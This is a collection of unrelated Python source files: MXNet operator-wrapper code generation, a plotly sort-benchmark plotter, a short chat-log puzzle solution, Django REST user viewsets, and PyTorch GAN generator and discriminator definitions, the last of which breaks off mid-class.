                            'converted array to this operator.'
                            .format(op_name, func_name))

def _verify_all_legacy_ndarrays(op_name, func_name, args, out):
    """Verify if all the arrays are legacy ndarrays.

    Parameters
    ----------
    op_name : str
        Operator full name registered in backend.
    func_name : str
        Operator name exposed to users. This is usually the name by stripping off
        the prefix of the full operator names registered in backend.
    args : list of arrays
        Input ndarray arguments to be checked.
    out : ndarray or None or list of ndarrays
        User-provided output ndarrays.
    """
    from ..numpy import ndarray as np_ndarray
    for arr in args:
        if (arr is not None) and (isinstance(arr, np_ndarray)):
            raise TypeError('Operator `{}` registered in backend is known as `{}` in Python. '
                            'This is a legacy operator which can only accept '
                            'legacy ndarrays, while received an MXNet numpy ndarray. '
                            'Please call `as_nd_ndarray()` upon the numpy ndarray to '
                            'convert it to a legacy ndarray, and then feed the converted '
                            'array to this operator.'
                            .format(op_name, func_name))
    if out is None:
        return
    if not isinstance(out, (list, tuple)):
        out = [out]
    for arr in out:
        if (arr is not None) and (isinstance(arr, np_ndarray)):
            raise TypeError('Operator `{}` registered in backend is known as `{}` in Python. '
                            'This is a legacy operator which can only write to '
                            'legacy ndarrays, while received an MXNet numpy ndarray. '
                            'Please call `as_nd_ndarray()` upon the numpy ndarray to '
                            'convert it to a legacy ndarray, and then feed the converted '
                            'array to this operator.'
                            .format(op_name, func_name))

# pylint: disable=too-many-locals
def _generate_ndarray_function_code(handle, op_name, func_name, signature_only=False):
    """Generate function for ndarray op by handle and function op_name."""
    real_name = ctypes.c_char_p()
    desc = ctypes.c_char_p()
    num_args = mx_uint()
    arg_names = ctypes.POINTER(ctypes.c_char_p)()
    arg_types = ctypes.POINTER(ctypes.c_char_p)()
    arg_descs = ctypes.POINTER(ctypes.c_char_p)()
    key_var_num_args = ctypes.c_char_p()
    ret_type = ctypes.c_char_p()

    check_call(_LIB.MXSymbolGetAtomicSymbolInfo(
        handle, ctypes.byref(real_name), ctypes.byref(desc),
        ctypes.byref(num_args),
        ctypes.byref(arg_names),
        ctypes.byref(arg_types),
        ctypes.byref(arg_descs),
        ctypes.byref(key_var_num_args),
        ctypes.byref(ret_type)))
    narg = int(num_args.value)
    arg_names = [py_str(arg_names[i]) for i in range(narg)]
    arg_types = [py_str(arg_types[i]) for i in range(narg)]
    key_var_num_args = py_str(key_var_num_args.value)
    ret_type = py_str(ret_type.value) if ret_type.value is not None else ''
    doc_str = _build_doc(op_name,
                         py_str(desc.value),
                         arg_names,
                         arg_types,
                         [py_str(arg_descs[i]) for i in range(narg)],
                         key_var_num_args,
                         ret_type)

    dtype_name = None
    arr_name = None
    ndsignature = []
    signature = []
    ndarg_names = []
    kwarg_names = []
    for i in range(narg):
        name, atype = arg_names[i], arg_types[i]
        if name == 'dtype':
            dtype_name = name
            signature.append(f'{name}=_Null')
        elif atype.startswith('NDArray') or atype.startswith('Symbol'):
            assert not arr_name, \
                "Op can only have one argument with variable " \
                "size and it must be the last argument."
            if atype.endswith('[]'):
                ndsignature.append(f'*{name}')
                arr_name = name
            else:
                ndsignature.append(f'{name}=None')
                ndarg_names.append(name)
        else:
            signature.append(f'{name}=_Null')
            kwarg_names.append(name)
    signature.append('out=None')
    signature.append('name=None')
    signature.append('**kwargs')
    signature = ndsignature + signature

    code = []
    is_np_op = _is_np_op(op_name)
    output_is_list = _output_is_list(op_name)
    doc_str_idx = 1
    if is_np_op:
        doc_str_idx = 2
    if arr_name:
        code.append("""
def %s(*%s, **kwargs):"""%(func_name, arr_name))
        if not signature_only:
            code.append("""
    ndargs = []
    for i in {}:
        assert isinstance(i, NDArrayBase), \\
            "Positional arguments must have NDArray type, " \\
            "but got %s"%str(i)
        ndargs.append(i)""".format(arr_name))
            if dtype_name is not None:
                code.append("""
    if '%s' in kwargs:
        kwargs['%s'] = get_dtype_name(kwargs['%s'])"""%(dtype_name, dtype_name, dtype_name))
            code.append("""
    _ = kwargs.pop('name', None)
    out = kwargs.pop('out', None)
    keys = list(kwargs.keys())
    vals = list(kwargs.values())""")
    else:
        code.append("""
def %s(%s):"""%(func_name, ', '.join(signature)))
        if not signature_only:
            code.append("""
    ndargs = []
    keys = list(kwargs.keys())
    vals = list(kwargs.values())""")
            # NDArray args
            for name in ndarg_names: # pylint: disable=redefined-argument-from-local
                code.append("""
    if {name} is not None:
        assert isinstance({name}, NDArrayBase), \\
            "Argument {name} must have NDArray type, but got %s"%str({name})
        ndargs.append({name})""".format(name=name))
            # kwargs
            for name in kwarg_names: # pylint: disable=redefined-argument-from-local
                code.append("""
    if %s is not _Null:
        keys.append('%s')
        vals.append(%s)"""%(name, name, name))
            # dtype
            if dtype_name is not None:
                if is_np_op:
                    code.append("""
    if %s is not _Null and %s is not None:
        keys.append('%s')
        vals.append(get_dtype_name(%s))"""%(dtype_name, dtype_name, dtype_name, dtype_name))
                else:
                    code.append("""
    if %s is not _Null:
        keys.append('%s')
        vals.append(get_dtype_name(%s))"""%(dtype_name, dtype_name, dtype_name))

    verify_ndarrays_fn =\
        _verify_all_np_ndarrays.__name__ if is_np_op else _verify_all_legacy_ndarrays.__name__
    if not signature_only:
        code.append("""
    {verify_fn}("{op_name}", "{func_name}", ndargs, out)
        """.format(verify_fn=verify_ndarrays_fn, op_name=op_name, func_name=func_name))
        code.append("""
    return _imperative_invoke(%d, ndargs, keys, vals, out, %s, %s)"""%(
        handle.value, str(is_np_op), str(output_is_list)))
    else:
        code.append("""
    return (0,)""")

    doc_str_lines = _os.linesep+''.join(['    '+s if s.strip() else s
                                         for s in 'r"""{doc_str}"""'.format(doc_str=doc_str)
                                         .splitlines(True)])
    code.insert(doc_str_idx, doc_str_lines)
    return ''.join(code), doc_str

# pylint: disable=too-many-locals, invalid-name
def _make_ndarray_function(handle, name, func_name):
    """Create a NDArray function from the FunctionHandle."""
    code, doc_str = _generate_ndarray_function_code(handle, name, func_name)

    local = {}
    exec(code, None, local)  # pylint: disable=exec-used
    ndarray_function = local[func_name]
    ndarray_function.__name__ = func_name
    ndarray_function.__doc__ = doc_str
    ndarray_function.__module__ = 'mxnet.ndarray'
    return ndarray_function

_init_op_module('mxnet', 'ndarray', _make_ndarray_function)

# Update operator documentation with added float support
# Note that we can only do this after the op module is initialized
# Otherwise the backend operators cannot be found
# pylint: disable=wrong-import-position
from .contrib import adamw_update, mp_adamw_update
from ._internal import _adamw_update, _mp_adamw_update
adamw_update.__doc__ = _adamw_update.__doc__.replace("rescale_grad : NDArray",
                                                     "rescale_grad : NDArray or float")
mp_adamw_update.__doc__ = _mp_adamw_update.__doc__.replace("rescale_grad : NDArray",
                                                           "rescale_grad : NDArray or float")


#!/usr/bin/python3
import plotly.plotly as py
import plotly.graph_objs as go

from os import path
from glob import glob

import pandas as pd

import argparse

from itertools import groupby

# Setup command line arguments and returns it
def setup_args():
    # Description
    parser = argparse.ArgumentParser(description="Generates plots in plotly based in CSV files from the project Sort Algorithms Compare.")

    parser.add_argument('csv_path', metavar="CSV files folder path", type=str, help="The folder which the csv files generated by sortalgs executable are stored")

    return parser.parse_args()

def get_data_type_from_csv(fileName):
    return path.basename(fileName).split('.')[1]

def get_alg_name_from_csv(fileName):
    return path.basename(fileName).split('.')[0]

def get_alg_name_from_data_frame(df):
    for row in df.iterrows():
        return row[1]["Algorithm Name"]

# Plot the graphs
def plot_graph(args):
    csv_path = path.abspath(args.csv_path) + "/"

    # Sort the files by data type to be grouped later
    csv_files = sorted(glob(csv_path + "*.csv"), key=lambda str: get_data_type_from_csv(str))

    # Group the files by data type
    for data_type, grouped_files in groupby(csv_files, lambda str: get_data_type_from_csv(str)):
        # Scatter plot lines
        lines = []

        # Sort the files by algorithm name
        grouped_files = sorted(grouped_files, key=lambda str: get_alg_name_from_csv(str))

        for file in grouped_files:
            # Read from the csv
            df = pd.read_csv(file)

            # Create the plot lines
            line = go.Scatter(
                x = df["N"],
                y = df["Nano Seconds"],
                name = get_alg_name_from_data_frame(df) + " Sort",
                mode = "lines"
            )
            lines.append(line)

        # Create the layout
        layout = go.Layout(
            title = "Sort Algorithms Comparison with " + data_type.replace("_", " ") + "s",
            xaxis = dict(title="N"),
            yaxis = dict(title="Nanoseconds")
        )

        # Create the figure
        fig = go.Figure(data=lines, layout=layout)

        # Generates the lot in plotly
        plotName = "Sort Algorithms Comparison: " + data_type
        print("Creating {} plot...".format(plotName))
        py.iplot(fig, filename = plotName)

if __name__ == '__main__':
    args = setup_args()
    plot_graph(args)


def solution(record):

    # 각 uid 별로 최종 닉네임 기록
    info = {}
    for r in record:
        if r.startswith('Leave') == False:
            _, uid, name = r.split()
            info[uid] = name

    # record 텍스트를 최종 닉네임으로 바꾸기
    answer = []
    for r in record:
        if r.startswith('Enter'):
            uid = r.split()[1]
            answer.append(info[uid] + '님이 들어왔습니다.')
        elif r.startswith('Leave'):
            uid = r.split()[1]
            answer.append(info[uid] + '님이 나갔습니다.')

    return answer


import logging

from django.contrib.auth.models import User
from dry_rest_permissions.generics import DRYPermissions
from rest_framework import mixins, status, viewsets
from rest_framework.decorators import action
from rest_framework.response import Response

from api.models import UserDetail
from api.serializers import UserDetailSerializer, UserTeamSerializer

log = logging.getLogger("__name__")

class UserViewSet(mixins.ListModelMixin, viewsets.GenericViewSet):
    """
    This viewset automatically provides `list` actions.
    """

    serializer_class = UserTeamSerializer
    queryset = User.objects.all()

    def list(self, request, **kwargs):
        if not request.user.is_superuser:
            # no super user so return only the current user
            queryset = self.filter_queryset(self.get_queryset()).filter(
                id=request.user.id
            )
        else:
            # super user can query all users
            queryset = self.get_queryset()
        serializer = self.get_serializer(queryset, many=True)
        return Response(serializer.data)

class UserDetailViewSet(viewsets.ModelViewSet):
    """
    This viewset automatically provides `list`, `create`, `retrieve`,
    `update` actions.

    The list action will always return the current user's userdetail as a list
    or an empty list if the current user has no userdetail
    """

    permission_classes = (DRYPermissions,)
    serializer_class = UserDetailSerializer
    queryset = UserDetail.objects.all()

    custom_serializer_map = {
        "list": UserDetailSerializer,
    }

    def list(self, *args, **kwargs):
        try:
            userdetail = [self.request.user.userdetail]
        except UserDetail.DoesNotExist:
            userdetail = []
        serializer = self.get_serializer(userdetail, many=True)
        return Response(serializer.data)

    @action(detail=False, methods=["get"], url_path="me", url_name="me")
    def me(self, request):
        try:
            userdetail = self.request.user.userdetail
        except UserDetail.DoesNotExist or AttributeError:
            userdetail = None
        serializer = self.get_serializer(userdetail, many=False)
        return Response(serializer.data)

    def create(self, request, *args, **kwargs):
        try:
            userdetail = self.request.user.userdetail
            # return forbidden if the user has already a userdetail
            return Response(status=status.HTTP_403_FORBIDDEN)
        except:
            pass
        return super().create(request, *args, **kwargs)

    def perform_create(self, serializer):
        serializer.save(
            user=self.request.user,
        )


import torch
import torch.nn as nn
from torch.nn import init
import functools
from torch.autograd import Variable
from torch.optim import lr_scheduler
import numpy as np
import torch.nn.functional as F
###############################################################################
# Functions
###############################################################################

def weights_init_zero(m):
    classname = m.__class__.__name__
    modulename = m.__name__
    #print(classname)
    if classname.find('Deformable') != -1:
        pass
    elif classname.find('Conv') != -1:
        init.normal(m.weight.data, 0.0, 0.02)
    elif classname.find('Linear') != -1:
        init.normal(m.weight.data, 0.0, 0.02)
    elif classname.find('BatchNorm2d') != -1:
        init.normal(m.weight.data, 1.0, 0.02)
        init.constant(m.bias.data, 0.0)

def weights_init_normal(m):
    classname = m.__class__.__name__
    #print(classname)
    if classname.find('Deformable') != -1:
        pass
    elif hasattr(m, 'weight') and classname.find('Conv') != -1:
        init.normal(m.weight.data, 0.0, 0.02)
    elif classname.find('Linear') != -1:
        init.normal(m.weight.data, 0.0, 0.02)
    elif classname.find('BatchNorm2d') != -1:
        init.normal(m.weight.data, 1.0, 0.02)
        init.constant(m.bias.data, 0.0)

def weights_init_xavier(m):
    classname = m.__class__.__name__
    if classname.find('Deformable') != -1:
        pass
    elif classname.find('HetConv') != -1:
        init.xavier_normal(m.conv3x3.weight.data, gain=0.02)
        # init.xavier_normal(m.conv3x3.weight.data, gain=0.02)
        init.xavier_normal(m.conv1x1_.weight.data, gain=0.02)
        # init.xavier_normal(m.conv1x1_.weight.data, gain=0.02)
        init.xavier_normal(m.conv1x1.weight.data, gain=0.02)
        # init.xavier_normal(m.conv1x1.weight.data, gain=0.02)
    elif hasattr(m, 'weight') and classname.find('Conv') != -1:
        init.xavier_normal(m.weight.data, gain=0.02)
    elif classname.find('Linear') != -1:
        init.xavier_normal(m.weight.data, gain=0.02)
    elif classname.find('BatchNorm2d') != -1:
        init.normal(m.weight.data, 1.0, 0.02)
        init.constant(m.bias.data, 0.0)

def weights_init_kaiming(m):
    classname = m.__class__.__name__
    # print(classname)
    if classname.find('Conv') != -1:
        init.kaiming_normal(m.weight.data, a=0, mode='fan_in')
    elif classname.find('Linear') != -1:
        init.kaiming_normal(m.weight.data, a=0, mode='fan_in')
    elif classname.find('BatchNorm2d') != -1:
        init.normal(m.weight.data, 1.0, 0.02)
        init.constant(m.bias.data, 0.0)

def weights_init_orthogonal(m):
    classname = m.__class__.__name__
    print(classname)
    if classname.find('Conv') != -1:
        init.orthogonal(m.weight.data, gain=1)
    elif classname.find('Linear') != -1:
        init.orthogonal(m.weight.data, gain=1)
    elif classname.find('BatchNorm2d') != -1:
        init.normal(m.weight.data, 1.0, 0.02)
        init.constant(m.bias.data, 0.0)

def init_weights(net, init_type='normal'):
    print('initialization method [%s]' % init_type)
    if init_type == 'normal':
        net.apply(weights_init_normal)
    elif init_type == 'xavier':
        net.apply(weights_init_xavier)
    elif init_type == 'kaiming':
        net.apply(weights_init_kaiming)
    elif init_type == 'orthogonal':
        net.apply(weights_init_orthogonal)
    else:
        raise NotImplementedError('initialization method [%s] is not implemented' % init_type)

def get_norm_layer(norm_type='instance'):
    if norm_type == 'batch':
        norm_layer = functools.partial(nn.BatchNorm2d, affine=True)
    elif norm_type == 'instance':
        norm_layer = functools.partial(nn.InstanceNorm2d, affine=False)
    elif norm_type == 'none':
        norm_layer = None
    else:
        raise NotImplementedError('normalization layer [%s] is not found' % norm_type)
    return norm_layer

def get_scheduler(optimizer, opt):
    if opt.lr_policy == 'lambda':
        def lambda_rule(epoch):
            lr_l = 1.0 - max(0, epoch + 1 + opt.epoch_count - opt.niter) / float(opt.niter_decay + 1)
            return lr_l
        scheduler = lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_rule)
    elif opt.lr_policy == 'step':
        scheduler = lr_scheduler.StepLR(optimizer, step_size=opt.lr_decay_iters, gamma=0.1)
    elif opt.lr_policy == 'plateau':
        scheduler = lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.2, threshold=0.01, patience=5)
    else:
        return NotImplementedError('learning rate policy [%s] is not implemented', opt.lr_policy)
    return scheduler

def get_grid(batchsize, size, minval=-1.0, maxval=1.0):
    r"""Get a grid ranging [-1, 1] of 2D/3D coordinates.

    Args:
        batchsize (int) : Batch size.
        size (tuple) : (height, width) or (depth, height, width).
        minval (float) : minimum value in returned grid.
        maxval (float) : maximum value in returned grid.
    Returns:
        t_grid (4D tensor) : Grid of coordinates.
    """
    if len(size) == 2:
        rows, cols = size
    elif len(size) == 3:
        deps, rows, cols = size
    else:
        raise ValueError('Dimension can only be 2 or 3.')
    x = torch.linspace(minval, maxval, cols)
    x = x.view(1, 1, 1, cols)
    x = x.expand(batchsize, 1, rows, cols)

    y = torch.linspace(minval, maxval, rows)
    y = y.view(1, 1, rows, 1)
    y = y.expand(batchsize, 1, rows, cols)

    t_grid = torch.cat([x, y], dim=1)

    if len(size) == 3:
        z = torch.linspace(minval, maxval, deps)
        z = z.view(1, 1, deps, 1, 1)
        z = z.expand(batchsize, 1, deps, rows, cols)

        t_grid = t_grid.unsqueeze(2).expand(batchsize, 2, deps, rows, cols)
        t_grid = torch.cat([t_grid, z], dim=1)

    t_grid.requires_grad = False
    return t_grid.to('cuda')

def resample(image, flow):
    r"""Resamples an image using the provided flow.

    Args:
        image (NxCxHxW tensor) : Image to resample.
        flow (Nx2xHxW tensor) : Optical flow to resample the image.
    Returns:
        output (NxCxHxW tensor) : Resampled image.
    """
    assert flow.shape[1] == 2
    b, c, h, w = image.size()
    grid = get_grid(b, (h, w))
    flow = torch.cat([flow[:, 0:1, :, :] / ((w - 1.0) / 2.0),
                      flow[:, 1:2, :, :] / ((h - 1.0) / 2.0)], dim=1)
    final_grid = (grid + flow).permute(0, 2, 3, 1)
    try:
        output = F.grid_sample(image, final_grid, mode='bilinear',
                               padding_mode='border', align_corners=True)
    except Exception:
        output = F.grid_sample(image, final_grid, mode='bilinear',
                               padding_mode='border')
    return output

def define_G(input_nc, output_nc, ngf, which_model_netG, norm='batch', use_dropout=False, init_type='normal', gpu_ids=[]):
    netG = None
    use_gpu = len(gpu_ids) > 0
    norm_layer = get_norm_layer(norm_type=norm)

    if use_gpu:
        assert(torch.cuda.is_available())

    if which_model_netG == 'resnet_9blocks':
        netG = ResnetGenerator(input_nc, output_nc, ngf, norm_layer=norm_layer, use_dropout=use_dropout, n_blocks=9, gpu_ids=gpu_ids)
    elif which_model_netG == 'resnet_6blocks':
        netG = ResnetGenerator(input_nc, output_nc, ngf, norm_layer=norm_layer, use_dropout=use_dropout, n_blocks=6, gpu_ids=gpu_ids)
    elif which_model_netG == 'mobile_resnet_9blocks':
        netG = MobileResnetGenerator(input_nc, output_nc, ngf, norm_layer=norm_layer, use_dropout=use_dropout, n_blocks=9, gpu_ids=gpu_ids)
    elif which_model_netG == 'mobile_resnet_6blocks':
        netG = MobileResnetGenerator(input_nc, output_nc, ngf, norm_layer=norm_layer, use_dropout=use_dropout, n_blocks=6, gpu_ids=gpu_ids)
    elif which_model_netG == 'unet_128':
        netG = UnetGenerator(input_nc, output_nc, 7, ngf, norm_layer=norm_layer, use_dropout=use_dropout, gpu_ids=gpu_ids)
    elif which_model_netG == 'unet_256':
        netG = UnetGenerator(input_nc, output_nc, 8, ngf, norm_layer=norm_layer, use_dropout=use_dropout, gpu_ids=gpu_ids)
    elif which_model_netG == 'prediction':
        netG = PredictionNViews(input_nc, output_nc, 6, ngf, norm_layer=norm_layer, use_dropout=use_dropout)
    else:
        raise NotImplementedError('Generator model name [%s] is not recognized' % which_model_netG)
    if len(gpu_ids) > 0:
        assert (torch.cuda.is_available())
        netG.to(gpu_ids[0])
        if len(gpu_ids) > 1:
            netG = torch.nn.DataParallel(netG, gpu_ids)
    init_weights(netG, init_type=init_type)
    return netG

def define_D(input_nc, ndf, which_model_netD,
             n_layers_D=3, norm='batch', use_sigmoid=False, init_type='normal', gpu_ids=[]):
    netD = None
    use_gpu = len(gpu_ids) > 0
    norm_layer = get_norm_layer(norm_type=norm)

    if use_gpu:
        assert(torch.cuda.is_available())
    if which_model_netD == 'basic':
        netD = NLayerDiscriminator(input_nc, ndf, n_layers=3, norm_layer=norm_layer, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    elif which_model_netD == 'sn_basic': # default n_layers_D = 1
        netD = SN_NLayerDiscriminator(input_nc, ndf, n_layers=n_layers_D, norm_layer=None, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    elif which_model_netD == 'n_layers':
        netD = NLayerDiscriminator(input_nc, ndf, n_layers_D, norm_layer=norm_layer, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    elif which_model_netD == 'pixel':
        netD = PixelDiscriminator(input_nc, ndf, norm_layer=norm_layer, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    elif which_model_netD == 'activation': # default n_layers_D = 1
        netD = NLayerDiscriminator(input_nc, ndf, n_layers=n_layers_D, norm_layer=norm_layer, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    elif which_model_netD == 'temporal_patchGAN':
        netD = TemporalPatchGANDiscriminator(input_nc, ndf, n_layers=n_layers_D, use_sigmoid=use_sigmoid, gpu_ids=gpu_ids)
    else:
        raise NotImplementedError('Discriminator model name [%s] is not recognized' %
                                  which_model_netD)
    if use_gpu:
        assert (torch.cuda.is_available())
        netD.to(gpu_ids[0])
        if len(gpu_ids) > 1:
            netD = torch.nn.DataParallel(netD, gpu_ids)
    init_weights(netD, init_type=init_type)
    return netD

def define_FusionNet(input_nc, output_nc, ngf, which_model_FusionNet, norm='instance', use_dropout=False, init_type='normal', gpu_ids=[]):
    FusionNet = None
    use_gpu = len(gpu_ids) > 0
    norm_layer = get_norm_layer(norm_type=norm)

    if use_gpu:
        assert(torch.cuda.is_available())

    if which_model_FusionNet == 'default':
        FusionNet = FusionNetGenerator(input_nc, output_nc, ngf, norm_layer=norm_layer, use_dropout=use_dropout, n_blocks=9, gpu_ids=gpu_ids)
    else:
        raise NotImplementedError('Generator model name [%s] is not recognized' % which_model_FusionNet)
    if len(gpu_ids) > 0:
        FusionNet.cuda(gpu_ids[0])
    init_weights(FusionNet, init_type=init_type)
    return FusionNet

def init_net(net, init_type='normal', gpu_ids=[]):
    if len(gpu_ids) > 0:
        assert(torch.cuda.is_available())
        net.to(gpu_ids[0])
        net = torch.nn.DataParallel(net, gpu_ids)
    init_weights(net, init_type)
    return net

def print_network(net):
    num_params = 0
    for param in net.parameters():
        num_params += param.numel()
    print(net)
    print('Total number of parameters: %d' % num_params)

def define_C(output_nc, ndf, init_type='normal', gpu_ids=[]):
    #if output_nc == 3:
    #    netC = get_model('DTN', num_cls=10)
    #else:
    #    Exception('classifier only implemented for 32x32x3 images')
    netC = Classifier(output_nc, ndf)
    return init_net(netC, init_type, gpu_ids)

##############################################################################
# Classes
##############################################################################

# Defines the GAN loss which uses either LSGAN or the regular GAN.
# When LSGAN is used, it is basically same as MSELoss,
# but it abstracts away the need to create the target label tensor
# that has the same size as the input
class GANLoss(nn.Module): # not used here
    def __init__(self, use_lsgan=True, target_real_label=1.0, target_fake_label=0.0,
                 tensor=torch.FloatTensor):
        super(GANLoss, self).__init__()
        self.real_label = target_real_label
        self.fake_label = target_fake_label
        self.real_label_var = None
        self.fake_label_var = None
        self.Tensor = tensor
        if use_lsgan:
            self.loss = nn.MSELoss()
        else:
            self.loss = nn.BCELoss()

    def get_target_tensor(self, input, target_is_real):
        target_tensor = None
        if target_is_real:
            create_label = ((self.real_label_var is None) or
                            (self.real_label_var.numel() != input.numel()))
            if create_label:
                real_tensor = self.Tensor(input.size()).fill_(self.real_label)
                self.real_label_var = Variable(real_tensor, requires_grad=False)
            target_tensor = self.real_label_var
        else:
            create_label = ((self.fake_label_var is None) or
                            (self.fake_label_var.numel() != input.numel()))
            if create_label:
                fake_tensor = self.Tensor(input.size()).fill_(self.fake_label)
                self.fake_label_var = Variable(fake_tensor, requires_grad=False)
            target_tensor = self.fake_label_var
        return target_tensor

    def __call__(self, input, target_is_real):
        if isinstance(input, list):
            losses = []
            for p in input:
                target_tensor = self.get_target_tensor(p, target_is_real)
                losses.append(self.loss(p, target_tensor))
            return sum(losses)
        else:
            target_tensor = self.get_target_tensor(input, target_is_real)
            loss = self.loss(input, target_tensor)
        # original code:
        # target_tensor = self.get_target_tensor(input, target_is_real)
        # loss = self.loss(input, target_tensor)
        return loss

class GANLoss_custom(nn.Module):
    """Define different GAN objectives.

    The GANLoss class abstracts away the need to create the target label tensor
    that has the same size as the input.
    """

    def __init__(self, gan_mode, target_real_label=1.0, target_fake_label=0.0):
        """ Initialize the GANLoss class.

        Parameters:
            gan_mode (str) - - the type of GAN objective. It currently supports vanilla, lsgan, and wgangp.
            target_real_label (bool) - - label for a real image
            target_fake_label (bool) - - label of a fake image

        Note: Do not use sigmoid as the last layer of Discriminator.
        LSGAN needs no sigmoid. vanilla GANs will handle it with BCEWithLogitsLoss.
        """
        super(GANLoss_custom, self).__init__()
        self.register_buffer('real_label', torch.tensor(target_real_label))
        self.register_buffer('fake_label', torch.tensor(target_fake_label))
        self.register_buffer('zero_tensor', torch.tensor(0.))
        self.zero_tensor.requires_grad_(False)
        self.gan_mode = gan_mode
        if gan_mode == 'lsgan':
            self.loss = nn.MSELoss()
        elif gan_mode == 'vanilla':
            self.loss = nn.BCEWithLogitsLoss()
        elif gan_mode == 'wgangp':
            self.loss = None
        elif gan_mode == 'hinge':
            self.loss = None
        else:
            raise NotImplementedError('gan mode %s not implemented' % gan_mode)

    def get_target_tensor(self, prediction, target_is_real):
        if target_is_real:
            target_tensor = self.real_label
        else:
            target_tensor = self.fake_label
        return target_tensor.expand_as(prediction)

    def get_zero_tensor(self, prediction):
        return self.zero_tensor.expand_as(prediction)

    def __call__(self, prediction, target_is_real, for_discriminator=True):
        """Calculate loss given Discriminator's output and grount truth labels.

        Parameters:
            prediction (tensor) - - tpyically the prediction output from a discriminator
            target_is_real (bool) - - if the ground truth label is for real images or fake images

        Returns:
            the calculated loss.
        """
        if self.gan_mode in ['lsgan', 'vanilla']:
            if isinstance(prediction, list):
                losses = []
                for p in prediction:
                    target_tensor = self.get_target_tensor(p, target_is_real)
                    losses.append(self.loss(p, target_tensor))
                return sum(losses)
            else:
                target_tensor = self.get_target_tensor(prediction, target_is_real)
                loss = self.loss(prediction, target_tensor)
        elif self.gan_mode == 'wgangp':
            if target_is_real:
                loss = -prediction.mean()
            else:
                loss = prediction.mean()
        elif self.gan_mode == 'hinge':
            if isinstance(prediction, list):
                loss = 0
                for pred_i in prediction:
                    if isinstance(pred_i, list):
                        pred_i = pred_i[-1]
                    loss_tensor = self(pred_i, target_is_real, for_discriminator)
                    bs = 1 if len(loss_tensor.size()) == 0 else loss_tensor.size(0)
                    new_loss = torch.mean(loss_tensor.view(bs, -1), dim=1)
                    loss += new_loss
                return loss / len(prediction)
            else:
                if for_discriminator:
                    if target_is_real:
                        minval = torch.min(prediction - 1, self.get_zero_tensor(prediction))
                        loss = -torch.mean(minval)
                    else:
                        minval = torch.min(-prediction - 1, self.get_zero_tensor(prediction))
                        loss = -torch.mean(minval)
                else:
                    assert target_is_real
                    loss = -torch.mean(prediction)
        else:
            raise NotImplementedError('gan mode %s not implemented' % self.gan_mode)
        return loss

class FusionNetGenerator(nn.Module):
    def __init__(self, input_nc, output_nc, nff=64, norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=6, gpu_ids=[], padding_type='reflect'):
        assert(n_blocks >= 0)
        super(FusionNetGenerator, self).__init__()
        self.input_nc = input_nc
        self.output_nc = output_nc
        self.nff = nff
        self.gpu_ids = gpu_ids
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        model = [nn.ReflectionPad2d(3),
                 nn.Conv2d(input_nc, nff, kernel_size=7, padding=0, bias=use_bias),
                 norm_layer(nff),
                 nn.ReLU(True)]

        model += [nn.ReflectionPad2d(3),
                  nn.Conv2d(nff, nff, kernel_size=7, padding=0, bias=use_bias),
                  norm_layer(nff),
                  nn.ReLU(True)]

        model += [nn.ReflectionPad2d(3),
                 nn.Conv2d(nff, output_nc, kernel_size=7, padding=0, bias=use_bias),
                 norm_layer(nff),
                 nn.Sigmoid()]

        self.model = nn.Sequential(*model)

    def forward(self, input):
        return self.model(input)

# Defines the generator that consists of Resnet blocks between a few
# downsampling/upsampling operations.
# Code and idea originally from Justin Johnson's architecture.
# https://github.com/jcjohnson/fast-neural-style/
class ResnetGenerator(nn.Module):
    def __init__(self, input_nc, output_nc, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=6, gpu_ids=[], padding_type='reflect'):
        assert(n_blocks >= 0)
        super(ResnetGenerator, self).__init__()
        self.input_nc = input_nc
        self.output_nc = output_nc
        self.ngf = ngf
        self.gpu_ids = gpu_ids
        self.inplace=False # True
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        model = [nn.ReflectionPad2d(3),
                 nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0,
                           bias=use_bias),
                 norm_layer(ngf),
                 nn.ReLU(self.inplace)]

        n_downsampling = 2
        for i in range(n_downsampling):
            mult = 2**i
            model += [nn.Conv2d(ngf * mult, ngf * mult * 2, kernel_size=3,
                                stride=2, padding=1, bias=use_bias),
                      norm_layer(ngf * mult * 2),
                      nn.ReLU(self.inplace)]

        mult = 2**n_downsampling
        for i in range(n_blocks):
            model += [ResnetBlock(ngf * mult, padding_type=padding_type, norm_layer=norm_layer, use_dropout=use_dropout, use_bias=use_bias)]

        for i in range(n_downsampling):
            mult = 2**(n_downsampling - i)
            model += [nn.ConvTranspose2d(ngf * mult, int(ngf * mult / 2),
                                         kernel_size=3, stride=2,
                                         padding=1, output_padding=1,
                                         bias=use_bias),
                      norm_layer(int(ngf * mult / 2)),
                      nn.ReLU(self.inplace)]
        #decoder = model
        model += [nn.ReflectionPad2d(3)]
        model += [nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
        model += [nn.Tanh()]
        #self.decoder = nn.Sequential(*decoder)
        self.model = nn.Sequential(*model)

    def forward(self, input):
        # if self.gpu_ids and isinstance(input.data, torch.cuda.FloatTensor):
        #     return nn.parallel.data_parallel(self.model, input, self.gpu_ids)
        # else:
        #     return self.model(input)
        return self.model(input)

class MobileResnetGenerator(nn.Module):
    def __init__(self, input_nc, output_nc, ngf=64, norm_layer=nn.BatchNorm2d, use_dropout=False, n_blocks=9, gpu_ids=[], padding_type='reflect'):
        assert(n_blocks >= 0)
        super(MobileResnetGenerator, self).__init__()
        self.input_nc = input_nc
        self.output_nc = output_nc
        self.ngf = ngf
        self.gpu_ids = gpu_ids
        if type(norm_layer) == functools.partial:
            use_bias = norm_layer.func == nn.InstanceNorm2d
        else:
            use_bias = norm_layer == nn.InstanceNorm2d

        model = [nn.ReflectionPad2d(3),
                 nn.Conv2d(input_nc, ngf, kernel_size=7, padding=0,
                           bias=use_bias),
                 norm_layer(ngf),
                 nn.ReLU(True)]

        n_downsampling = 2
